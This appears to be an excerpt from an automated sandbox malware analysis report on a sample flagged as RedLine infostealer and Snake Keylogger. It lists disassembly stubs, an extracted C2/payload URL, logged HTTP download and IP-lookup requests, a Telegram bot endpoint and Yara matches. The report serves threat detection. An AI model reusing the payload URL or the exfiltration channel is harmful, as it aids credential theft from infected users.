Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 4x nop then jmp 1FE1B504h	17_2_1FE1B168
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 4x nop then jmp 1FE1747Ch	17_2_1FE170E0
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 4x nop then jmp 1FE1C084h	17_2_1FE1BCE8
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 4x nop then jmp 1FE14C3Ch	17_2_1FE148A0
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 4x nop then jmp 1FE17FFCh	17_2_1FE17C60
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 4x nop then jmp 1FE1CC04h	17_2_1FE1C868
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 4x nop then jmp 1FE157BCh	17_2_1FE15420
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 4x nop then jmp 1FE1A3C4h	17_2_1FE1A028
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 4x nop then mov esp, ebp	17_2_20112400
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 4x nop then mov esp, ebp	17_2_20112488
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 4x nop then mov ecx, dword ptr [ebp-38h]	17_2_202603F8
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 4x nop then mov ecx, dword ptr [ebp-38h]	17_2_202603C8
Source: C:\Users\Public\Libraries\liuuazhU.pif	Code function: 4x nop then mov ecx, dword ptr [ebp-38h]	17_2_20260400

Networking

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: https://www.volareconsultoria.com.br/245_Uhzauuilkul

Source: C:\Users\user\AppData\Local\Temp\x.exe

Code function: 1_2_027EE7AC InternetCheckConnectionA,

1_2_027EE7AC

Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive

Source: Joe Sandbox View	IP Address: 193.122.6.168 193.122.6.168
Source: Joe Sandbox View	IP Address: 104.21.96.1 104.21.96.1
Source: Joe Sandbox View	IP Address: 104.21.96.1 104.21.96.1

Source: Joe Sandbox View	JA3 fingerprint: 54328bd36c14bd82ddaa0c04b25ed9ad
Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: unknown	DNS query: name: checkip.dyndns.org
Source: unknown	DNS query: name: reallyfreegeoip.org

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49731 -> 50.116.86.44:443
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.4:49740 -> 193.122.6.168:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.4:49732 -> 193.122.6.168:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.4:49742 -> 193.122.6.168:80

Source: global traffic	HTTP traffic detected: GET /245_Uhzauuilkul HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: www.volareconsultoria.com.br
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org

Source: unknown	HTTPS traffic detected: 104.21.96.1:443 -> 192.168.2.4:49733 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 104.21.96.1:443 -> 192.168.2.4:49741 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 104.21.96.1:443 -> 192.168.2.4:49743 version: TLS 1.0

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /245_Uhzauuilkul HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: www.volareconsultoria.com.br
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org

Source: global traffic	DNS traffic detected: DNS query: www.volareconsultoria.com.br
Source: global traffic	DNS traffic detected: DNS query: checkip.dyndns.org
Source: global traffic	DNS traffic detected: DNS query: reallyfreegeoip.org

Source: x.exe, 00000001.00000002.1880103099.000000007F310000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000001.00000003.1826188514.000000007F620000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000001.00000002.1875750599.00000000204B0000.00000004.00001000.00020000.00000000.sdmp, Uhzauuil.PIF, 0000000A.00000002.2001207488.000000002057D000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: x.exe, 00000001.00000002.1880103099.000000007F310000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000001.00000003.1826188514.000000007F620000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000001.00000002.1875750599.00000000204B0000.00000004.00001000.00020000.00000000.sdmp, Uhzauuil.PIF, 0000000A.00000002.2001207488.000000002057D000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: x.exe, 00000001.00000002.1880103099.000000007F310000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000001.00000003.1826188514.000000007F620000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000001.00000002.1875750599.00000000204B0000.00000004.00001000.00020000.00000000.sdmp, Uhzauuil.PIF, 0000000A.00000002.2001207488.000000002057D000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: liuuazhU.pif, 00000006.00000002.3109531523.000000001D509000.00000004.00000800.00020000.00000000.sdmp, liuuazhU.pif, 0000000B.00000002.3117150961.000000002ADB4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndn
Source: liuuazhU.pif, 00000006.00000002.3109531523.000000001D515000.00000004.00000800.00020000.00000000.sdmp, liuuazhU.pif, 0000000B.00000002.3117150961.000000002ADBA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.com
Source: liuuazhU.pif, 00000006.00000002.3109531523.000000001D421000.00000004.00000800.00020000.00000000.sdmp, liuuazhU.pif, 00000006.00000002.3109531523.000000001D515000.00000004.00000800.00020000.00000000.sdmp, liuuazhU.pif, 00000006.00000002.3109531523.000000001D509000.00000004.00000800.00020000.00000000.sdmp, liuuazhU.pif, 0000000B.00000002.3117150961.000000002ADBA000.00000004.00000800.00020000.00000000.sdmp, liuuazhU.pif, 0000000B.00000002.3117150961.000000002AD31000.00000004.00000800.00020000.00000000.sdmp, liuuazhU.pif, 00000011.00000002.3110411476.000000001C830000.00000004.00000800.00020000.00000000.sdmp, liuuazhU.pif, 00000011.00000002.3110411476.000000001C7F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org
Source: liuuazhU.pif, 00000006.00000002.3109531523.000000001D515000.00000004.00000800.00020000.00000000.sdmp, liuuazhU.pif, 0000000B.00000002.3117150961.000000002ADBA000.00000004.00000800.00020000.00000000.sdmp, liuuazhU.pif, 00000011.00000002.3110411476.000000001C830000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/
Source: liuuazhU.pif, 00000006.00000002.3109531523.000000001D4A0000.00000004.00000800.00020000.00000000.sdmp, liuuazhU.pif, 00000006.00000002.3109531523.000000001D421000.00000004.00000800.00020000.00000000.sdmp, liuuazhU.pif, 0000000B.00000002.3117150961.000000002AD31000.00000004.00000800.00020000.00000000.sdmp, liuuazhU.pif, 00000011.00000002.3110411476.000000001C7F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/h
Source: liuuazhU.pif, 00000006.00000002.3109531523.000000001D421000.00000004.00000800.00020000.00000000.sdmp, liuuazhU.pif, 0000000B.00000002.3117150961.000000002AD31000.00000004.00000800.00020000.00000000.sdmp, liuuazhU.pif, 00000011.00000002.3110411476.000000001C7F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/p
Source: x.exe, 00000001.00000002.1880103099.000000007F310000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000001.00000003.1826188514.000000007F620000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000001.00000002.1875750599.00000000204B0000.00000004.00001000.00020000.00000000.sdmp, Uhzauuil.PIF, 0000000A.00000002.2001207488.000000002057D000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl04
Source: x.exe, 00000001.00000002.1879596549.0000000021B30000.00000004.00000020.00020000.00000000.sdmp, x.exe, 00000001.00000003.1853089482.000000007F43A000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000001.00000002.1878974952.000000002173A000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000001.00000003.1825875616.000000007F62F000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000001.00000003.1826188514.000000007F620000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000001.00000002.1875750599.00000000204B0000.00000004.00001000.00020000.00000000.sdmp, liuuazhU.pif, 00000006.00000002.3089721536.000000000043C000.00000040.00000400.00020000.00000000.sdmp, Uhzauuil.PIF, 0000000A.00000002.2001207488.00000000204BF000.00000004.00001000.00020000.00000000.sdmp, liuuazhU.pif.1.dr	String found in binary or memory: http://crl.comodoca.com/COMODOCodeSigningCA2.crl0r
Source: x.exe, 00000001.00000002.1880103099.000000007F310000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000001.00000003.1826188514.000000007F620000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000001.00000002.1875750599.00000000204B0000.00000004.00001000.00020000.00000000.sdmp, Uhzauuil.PIF, 0000000A.00000002.2001207488.000000002057D000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crl.sectigo.com/SectigoPublicCodeSigningCAEVR36.crl0
Source: x.exe, 00000001.00000002.1880103099.000000007F310000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000001.00000003.1826188514.000000007F620000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000001.00000002.1875750599.00000000204B0000.00000004.00001000.00020000.00000000.sdmp, Uhzauuil.PIF, 0000000A.00000002.2001207488.000000002057D000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl0
Source: x.exe, 00000001.00000002.1880103099.000000007F310000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000001.00000003.1826188514.000000007F620000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000001.00000002.1875750599.00000000204B0000.00000004.00001000.00020000.00000000.sdmp, Uhzauuil.PIF, 0000000A.00000002.2001207488.000000002057D000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: x.exe, 00000001.00000002.1880103099.000000007F310000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000001.00000003.1826188514.000000007F620000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000001.00000002.1875750599.00000000204B0000.00000004.00001000.00020000.00000000.sdmp, Uhzauuil.PIF, 0000000A.00000002.2001207488.000000002057D000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: x.exe, 00000001.00000002.1880103099.000000007F310000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000001.00000003.1826188514.000000007F620000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000001.00000002.1875750599.00000000204B0000.00000004.00001000.00020000.00000000.sdmp, Uhzauuil.PIF, 0000000A.00000002.2001207488.000000002057D000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: x.exe, 00000001.00000002.1880103099.000000007F310000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000001.00000003.1826188514.000000007F620000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000001.00000002.1875750599.00000000204B0000.00000004.00001000.00020000.00000000.sdmp, Uhzauuil.PIF, 0000000A.00000002.2001207488.000000002057D000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crt.sectigo.com/SectigoPublicCodeSigningCAEVR36.crt0#
Source: x.exe, 00000001.00000002.1880103099.000000007F310000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000001.00000003.1826188514.000000007F620000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000001.00000002.1875750599.00000000204B0000.00000004.00001000.00020000.00000000.sdmp, Uhzauuil.PIF, 0000000A.00000002.2001207488.000000002057D000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#
Source: x.exe, 00000001.00000002.1880103099.000000007F310000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000001.00000003.1826188514.000000007F620000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000001.00000002.1875750599.00000000204B0000.00000004.00001000.00020000.00000000.sdmp, Uhzauuil.PIF, 0000000A.00000002.2001207488.000000002057D000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0
Source: x.exe, 00000001.00000002.1879596549.0000000021B30000.00000004.00000020.00020000.00000000.sdmp, x.exe, 00000001.00000003.1853089482.000000007F43A000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000001.00000002.1878974952.000000002173A000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000001.00000003.1825875616.000000007F62F000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000001.00000003.1826188514.000000007F620000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000001.00000002.1875750599.00000000204B0000.00000004.00001000.00020000.00000000.sdmp, liuuazhU.pif, 00000006.00000002.3089721536.000000000043C000.00000040.00000400.00020000.00000000.sdmp, Uhzauuil.PIF, 0000000A.00000002.2001207488.00000000204BF000.00000004.00001000.00020000.00000000.sdmp, liuuazhU.pif.1.dr	String found in binary or memory: http://ocsp.comodoca.com0$
Source: x.exe, 00000001.00000002.1880103099.000000007F310000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000001.00000003.1826188514.000000007F620000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000001.00000002.1875750599.00000000204B0000.00000004.00001000.00020000.00000000.sdmp, Uhzauuil.PIF, 0000000A.00000002.2001207488.000000002057D000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0A
Source: x.exe, 00000001.00000002.1880103099.000000007F310000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000001.00000003.1826188514.000000007F620000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000001.00000002.1875750599.00000000204B0000.00000004.00001000.00020000.00000000.sdmp, Uhzauuil.PIF, 0000000A.00000002.2001207488.000000002057D000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0C
Source: x.exe, 00000001.00000002.1880103099.000000007F310000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000001.00000003.1826188514.000000007F620000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000001.00000002.1875750599.00000000204B0000.00000004.00001000.00020000.00000000.sdmp, Uhzauuil.PIF, 0000000A.00000002.2001207488.000000002057D000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0X
Source: x.exe, 00000001.00000002.1880103099.000000007F310000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000001.00000003.1826188514.000000007F620000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000001.00000002.1875750599.00000000204B0000.00000004.00001000.00020000.00000000.sdmp, Uhzauuil.PIF, 0000000A.00000002.2001207488.000000002057D000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.sectigo.com0
Source: x.exe, 00000001.00000002.1880103099.000000007F310000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000001.00000003.1826188514.000000007F620000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000001.00000002.1875750599.00000000204B0000.00000004.00001000.00020000.00000000.sdmp, Uhzauuil.PIF, 0000000A.00000002.2001207488.000000002057D000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.sectigo.com0C
Source: liuuazhU.pif, 00000006.00000002.3109531523.000000001D531000.00000004.00000800.00020000.00000000.sdmp, liuuazhU.pif, 0000000B.00000002.3117150961.000000002ADD6000.00000004.00000800.00020000.00000000.sdmp, liuuazhU.pif, 00000011.00000002.3110411476.000000001C830000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://reallyfreegeoip.org
Source: liuuazhU.pif, 00000006.00000002.3109531523.000000001D4A0000.00000004.00000800.00020000.00000000.sdmp, liuuazhU.pif, 00000006.00000002.3109531523.000000001D421000.00000004.00000800.00020000.00000000.sdmp, liuuazhU.pif, 0000000B.00000002.3117150961.000000002AD31000.00000004.00000800.00020000.00000000.sdmp, liuuazhU.pif, 00000011.00000002.3110411476.000000001C7F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: x.exe, 00000001.00000002.1879596549.0000000021B30000.00000004.00000020.00020000.00000000.sdmp, x.exe, 00000001.00000003.1853089482.000000007F43A000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000001.00000002.1878974952.000000002173A000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000001.00000003.1825875616.000000007F62F000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000001.00000003.1826188514.000000007F620000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000001.00000002.1875750599.00000000204B0000.00000004.00001000.00020000.00000000.sdmp, liuuazhU.pif, 00000006.00000002.3089721536.000000000043C000.00000040.00000400.00020000.00000000.sdmp, Uhzauuil.PIF, 0000000A.00000002.2001207488.00000000204BF000.00000004.00001000.00020000.00000000.sdmp, liuuazhU.pif.1.dr	String found in binary or memory: http://www.pmail.com0
Source: liuuazhU.pif, 00000006.00000002.3109531523.000000001D421000.00000004.00000800.00020000.00000000.sdmp, liuuazhU.pif, 0000000B.00000002.3117150961.000000002AD31000.00000004.00000800.00020000.00000000.sdmp, liuuazhU.pif, 00000011.00000002.3110411476.000000001C7F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot
Source: liuuazhU.pif, 00000006.00000002.3109531523.000000001D458000.00000004.00000800.00020000.00000000.sdmp, liuuazhU.pif, 00000006.00000002.3109531523.000000001D515000.00000004.00000800.00020000.00000000.sdmp, liuuazhU.pif, 0000000B.00000002.3117150961.000000002ADBA000.00000004.00000800.00020000.00000000.sdmp, liuuazhU.pif, 00000011.00000002.3110411476.000000001C830000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org
Source: liuuazhU.pif, 00000006.00000002.3109531523.000000001D421000.00000004.00000800.00020000.00000000.sdmp, liuuazhU.pif, 00000006.00000002.3109531523.000000001D515000.00000004.00000800.00020000.00000000.sdmp, liuuazhU.pif, 0000000B.00000002.3117150961.000000002ADBA000.00000004.00000800.00020000.00000000.sdmp, liuuazhU.pif, 0000000B.00000002.3117150961.000000002AD31000.00000004.00000800.00020000.00000000.sdmp, liuuazhU.pif, 00000011.00000002.3110411476.000000001C830000.00000004.00000800.00020000.00000000.sdmp, liuuazhU.pif, 00000011.00000002.3110411476.000000001C7F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/
Source: liuuazhU.pif, 00000006.00000002.3109531523.000000001D458000.00000004.00000800.00020000.00000000.sdmp, liuuazhU.pif, 0000000B.00000002.3117150961.000000002AD66000.00000004.00000800.00020000.00000000.sdmp, liuuazhU.pif, 0000000B.00000002.3117150961.000000002ADBA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/8.46.123.189
Source: liuuazhU.pif, 00000006.00000002.3109531523.000000001D515000.00000004.00000800.00020000.00000000.sdmp, liuuazhU.pif, 00000011.00000002.3110411476.000000001C830000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/8.46.123.189l
Source: liuuazhU.pif, 0000000B.00000002.3117150961.000000002AD66000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.orgfl
Source: x.exe, 00000001.00000002.1880103099.000000007F310000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000001.00000003.1826188514.000000007F620000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000001.00000002.1875750599.00000000204B0000.00000004.00001000.00020000.00000000.sdmp, Uhzauuil.PIF, 0000000A.00000002.2001207488.000000002057D000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://sectigo.com/CPS0
Source: x.exe, 00000001.00000002.1875750599.00000000205CC000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.volareconsultoria.com.br/245_Uhzauuilkul
Source: x.exe, 00000001.00000002.1855286953.0000000000726000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.volareconsultoria.com.br/u
Source: x.exe, 00000001.00000002.1855286953.0000000000751000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.volareconsultoria.com.br:443/245_Uhzauuilkuluo

Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443

Source: unknown

HTTPS traffic detected: 50.116.86.44:443 -> 192.168.2.4:49731 version: TLS 1.2

System Summary

Malicious sample detected (through community Yara rule)

Source: 17.2.liuuazhU.pif.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 17.1.liuuazhU.pif.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 6.3.liuuazhU.pif.1b37a088.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 11.1.liuuazhU.pif.400000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 11.2.liuuazhU.pif.476068.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 17.1.liuuazhU.pif.43d038.1.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 11.2.liuuazhU.pif.2aa80f08.6.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 17.2.liuuazhU.pif.1c560f08.6.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 6.2.liuuazhU.pif.1d3a0f08.5.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 17.2.liuuazhU.pif.1c17772e.4.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 17.2.liuuazhU.pif.1d7f5570.8.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 11.2.liuuazhU.pif.2bd36478.9.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 11.2.liuuazhU.pif.2bd36478.9.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 1.2.x.exe.21751178.9.raw.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 11.2.liuuazhU.pif.43d038.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 6.2.liuuazhU.pif.1f8a0000.9.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 11.2.liuuazhU.pif.2aa80f08.6.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 6.2.liuuazhU.pif.1f8a0000.9.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 6.2.liuuazhU.pif.1e426478.7.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 17.1.liuuazhU.pif.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 17.2.liuuazhU.pif.1d824590.10.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 6.2.liuuazhU.pif.1d03772e.3.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 11.2.liuuazhU.pif.2a99772e.4.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 11.2.liuuazhU.pif.2a996826.3.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 17.2.liuuazhU.pif.1d7f6478.9.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 11.2.liuuazhU.pif.2bd35570.8.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 11.2.liuuazhU.pif.2bd35570.8.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
